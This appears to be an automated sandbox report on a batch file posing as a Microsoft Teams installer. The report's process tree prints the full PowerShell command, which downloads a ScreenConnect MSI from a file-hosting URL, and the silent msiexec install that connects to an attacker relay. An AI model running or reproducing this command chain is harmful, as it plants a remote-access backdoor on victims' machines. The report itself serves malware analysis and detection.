Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    20/04/2026, 12:17

General

  • Target
    MSTeams.clientsetup.bat
  • Size 1KB
  • Sample260420-pf3lcady2t
  • SHA256 9ee1f1a18d06962c76e366f6965ecd8d8598d347ec49c72808ef8b9fce29e689
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://pixeldrain.com/api/file/a2rPdveC

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 4 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 22 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 3 IoCs
  • Drops file in Program Files directory 19 IoCs
  • Drops file in Windows directory 22 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 18 IoCs
  • Modifies registry class 37 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\MSTeams.clientsetup.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2408
    • C:\Windows\system32\net.exe
      net session
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:376
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 session
        3⤵
          PID:4200
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -ExecutionPolicy Bypass -Command "$ErrorActionPreference='Stop';" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 -bor [Net.SecurityProtocolType]::Tls11 -bor [Net.SecurityProtocolType]::Tls;" "$wc = New-Object System.Net.WebClient;" "$wc.Headers['User-Agent'] = 'Mozilla/5.0';" "$wc.DownloadFile('http://pixeldrain.com/api/file/a2rPdveC','C:\Users\Admin\AppData\Local\Temp\ScreenConnect_Installer(My_Organization).msi');"
        2⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4896
      • C:\Windows\system32\msiexec.exe
        msiexec /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect_Installer(My_Organization).msi" /qn /norestart
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4712
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Enumerates connected drives
      • Boot or Logon Autostart Execution: Authentication Package
      • Drops file in Program Files directory
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4008
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 8D7AD0B067037674A3AEC494B2AA45AE
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4708
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Windows\Installer\MSIEDAC.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240643640 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • Loads dropped DLL
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          PID:3952
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 381205ADC2AEC68EA4E39DD8B2AEB17A E Global\MSI0000
        2⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:1780
    • C:\Program Files (x86)\ScreenConnect Client (78119df1c9a70348)\ScreenConnect.ClientService.exe
      "C:\Program Files (x86)\ScreenConnect Client (78119df1c9a70348)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=signto.top&p=8041&s=40919c4a-d6ea-43da-90a9-631574e97e80&k=BgIAAACkAABSU0ExAAgAAAEAAQAtMj78Th7LWk0v%2bANNV%2fC0FdB3upPXeco5H%2blNBF49SK7DTjX3o8YemL8bK0alO%2bfwxy0%2fMVWnC6sjSAIlGbRvW1w6ZbuhgnSky%2bA8az%2bqHF%2bB7I3esGT0qdwi4KymJB3z%2bK%2f22zKoO2i%2fj%2fKe9D%2fl3i%2bUne6Lqvdg25Mf0pLUvNvJOqCgZwd7%2b3fh5sfRisAYqrtwd0prMejP0CI1JVhnVN%2b%2fRgXnnRQPSC3SwWAXaeAaZnjM8E77LIwY9ZqqP5U%2f1adAdbK%2fexnC30w1ByNwnXxyRv1VfWqDeWd%2fucHufi22jtQjgIUpFElYTDAk9I3mIcLs1oFtrOVo%2f3MkOwDr"
      1⤵
      • Sets service image path in registry
      • Executes dropped EXE
      • Loads dropped DLL
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1868
      • C:\Program Files (x86)\ScreenConnect Client (78119df1c9a70348)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (78119df1c9a70348)\ScreenConnect.WindowsClient.exe" "RunRole" "b0c7a086-1b7e-4401-ad20-62a5d5760085" "User"
        2⤵
        • Executes dropped EXE
        PID:116
      • C:\Program Files (x86)\ScreenConnect Client (78119df1c9a70348)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (78119df1c9a70348)\ScreenConnect.WindowsClient.exe" "RunRole" "98f860a2-0b21-46b9-a0c3-23f0c62cf037" "System"
        2⤵
        • Executes dropped EXE
        • Drops file in System32 directory
        • Checks processor information in registry
        • Modifies data under HKEY_USERS
        PID:3404
      • C:\Program Files (x86)\ScreenConnect Client (78119df1c9a70348)\ScreenConnect.WindowsClient.exe
        "C:\Program Files (x86)\ScreenConnect Client (78119df1c9a70348)\ScreenConnect.WindowsClient.exe" "RunRole" "f397b112-ef0c-48f2-8f98-bc3b3759f3c9" "System"
        2⤵
        • Executes dropped EXE
        • Modifies data under HKEY_USERS
        PID:4352

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          e57eca5.rbs

          • Path C:\Config.Msi\e57eca5.rbs
          • Size 214KB
          • SHA256 3e6ee8bfb8f2a2c9a9673a46e182345e4169a507e2d0176da7d04fb8fa7eef6b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.Override.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (78119df1c9a70348)\Client.Override.en-US.resources
          • Size 298B
          • SHA256 ef989c4bd277b1849fd13dfe1cfcf5308c20e994190f74cd8604d8dfb8993ff2
          • MD5 SHA1 SHA512 TLSH

          Client.Override.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (78119df1c9a70348)\Client.Override.resources
          • Size 40KB
          • SHA256 b6018ab4c594476acc5df46ae98944cb7dc0b4e20e913cadd13075570774fad2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.en-US.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (78119df1c9a70348)\Client.en-US.resources
          • Size 48KB
          • SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Client.resources

          • Path C:\Program Files (x86)\ScreenConnect Client (78119df1c9a70348)\Client.resources
          • Size 28KB
          • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Client.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (78119df1c9a70348)\ScreenConnect.Client.dll
          • Size 192KB
          • SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (78119df1c9a70348)\ScreenConnect.ClientService.dll
          • Size 66KB
          • SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.ClientService.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (78119df1c9a70348)\ScreenConnect.ClientService.exe
          • Size 93KB
          • SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsAuthenticationPackage.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (78119df1c9a70348)\ScreenConnect.WindowsAuthenticationPackage.dll
          • Size 254KB
          • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe

          • Path C:\Program Files (x86)\ScreenConnect Client (78119df1c9a70348)\ScreenConnect.WindowsClient.exe
          • Size 593KB
          • SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.config

          • Path C:\Program Files (x86)\ScreenConnect Client (78119df1c9a70348)\ScreenConnect.WindowsClient.exe.config
          • Size 266B
          • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect.WindowsCredentialProvider.dll

          • Path C:\Program Files (x86)\ScreenConnect Client (78119df1c9a70348)\ScreenConnect.WindowsCredentialProvider.dll
          • Size 837KB
          • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          app.config

          • Path C:\Program Files (x86)\ScreenConnect Client (78119df1c9a70348)\app.config
          • Size 1KB
          • SHA256 b5e7754b24d9e4e2f638be17b7f2ea2c3bb6f9ded1ce858f90a5dfe53019dad6
          • MD5 SHA1 SHA512 TLSH

          system.config

          • Path C:\Program Files (x86)\ScreenConnect Client (78119df1c9a70348)\system.config
          • Size 958B
          • SHA256 81aa62d54b7e84c18dd4d516e7b8ebf7ec8a0cdfa4904d3c17ae1605ba1097bd
          • MD5 SHA1 SHA512 TLSH

          ScreenConnect_Installer(My_Organization).msi

          • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect_Installer(My_Organization).msi
          • Size 12.9MB
          • SHA256 a251ed5bfe53c9c47e967793d0876be35be9b4bc83cb51353785ba221e86451a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          __PSScriptPolicyTest_5xtglj43.3cd.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5xtglj43.3cd.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          MSIEDAC.tmp

          • Path C:\Windows\Installer\MSIEDAC.tmp
          • Size 1.0MB
          • SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
          • MD5 SHA1 SHA512 SSDEEP TLSH

          Microsoft.Deployment.WindowsInstaller.dll

          • Path C:\Windows\Installer\MSIEDAC.tmp-\Microsoft.Deployment.WindowsInstaller.dll
          • Size 172KB
          • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Core.dll

          • Path C:\Windows\Installer\MSIEDAC.tmp-\ScreenConnect.Core.dll
          • Size 538KB
          • SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.InstallerActions.dll

          • Path C:\Windows\Installer\MSIEDAC.tmp-\ScreenConnect.InstallerActions.dll
          • Size 11KB
          • SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.Windows.dll

          • Path C:\Windows\Installer\MSIEDAC.tmp-\ScreenConnect.Windows.dll
          • Size 1.6MB
          • SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
          • MD5 SHA1 SHA512 SSDEEP TLSH

          MSIF251.tmp

          • Path C:\Windows\Installer\MSIF251.tmp
          • Size 202KB
          • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
          • MD5 SHA1 SHA512 SSDEEP TLSH

          ScreenConnect.WindowsClient.exe.log

          • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ScreenConnect.WindowsClient.exe.log
          • Size 1KB
          • SHA256 7b5e1f2ef2d99fa60f4919cd4c295f941a6960ee0c4490b844e5c6c8bfd11cff
          • MD5 SHA1 SHA512 TLSH

          memory/116-132-0x0000000000A10000-0x0000000000A46000-memory.dmp

          memory/116-131-0x00000000000A0000-0x0000000000138000-memory.dmp

          memory/116-134-0x000000001B270000-0x000000001B41C000-memory.dmp

          memory/116-133-0x000000001B030000-0x000000001B0BC000-memory.dmp

          memory/116-135-0x000000001B420000-0x000000001B5A6000-memory.dmp

          memory/116-136-0x00000000009F0000-0x0000000000A08000-memory.dmp

          memory/116-137-0x00000000022E0000-0x00000000022F8000-memory.dmp

          memory/116-145-0x00000000009B0000-0x00000000009BC000-memory.dmp

          memory/116-146-0x0000000002210000-0x00000000022BD000-memory.dmp

          memory/1868-116-0x00000000048A0000-0x0000000004932000-memory.dmp

          memory/1868-120-0x0000000004A80000-0x0000000004B55000-memory.dmp

          memory/1868-118-0x0000000004510000-0x0000000004551000-memory.dmp

          memory/1868-144-0x0000000005660000-0x00000000056C3000-memory.dmp

          memory/1868-115-0x00000000045B0000-0x00000000045E6000-memory.dmp

          memory/1868-110-0x0000000004560000-0x00000000045B0000-memory.dmp

          memory/1868-88-0x0000000004190000-0x00000000041A8000-memory.dmp

          memory/3404-142-0x000000001B520000-0x000000001B5CD000-memory.dmp

          memory/3404-141-0x0000000000D10000-0x0000000000D1C000-memory.dmp

          memory/3404-139-0x00000000025E0000-0x0000000002621000-memory.dmp

          memory/3952-39-0x0000000004E90000-0x0000000004E9A000-memory.dmp

          memory/3952-35-0x0000000004E40000-0x0000000004E6E000-memory.dmp

          memory/3952-47-0x0000000005170000-0x000000000531C000-memory.dmp

          memory/3952-48-0x00000000058D0000-0x0000000005E74000-memory.dmp

          memory/3952-43-0x0000000004F30000-0x0000000004FBC000-memory.dmp

          memory/4008-143-0x00000298C7D40000-0x00000298C7DED000-memory.dmp

          memory/4352-176-0x0000000180000000-0x0000000180055000-memory.dmp

          memory/4352-183-0x000000001B7C0000-0x000000001B86D000-memory.dmp

          memory/4352-182-0x0000000002D00000-0x0000000002D0C000-memory.dmp

          memory/4712-111-0x00000130B92B0000-0x00000130B935D000-memory.dmp

          memory/4896-0-0x000001D3F3FF0000-0x000001D3F4000000-memory.dmp

          memory/4896-1-0x000001D3F3F90000-0x000001D3F3FB2000-memory.dmp

          memory/4896-12-0x000001D3F20A0000-0x000001D3F20AC000-memory.dmp

          memory/4896-13-0x000001D3F4000000-0x000001D3F40AD000-memory.dmp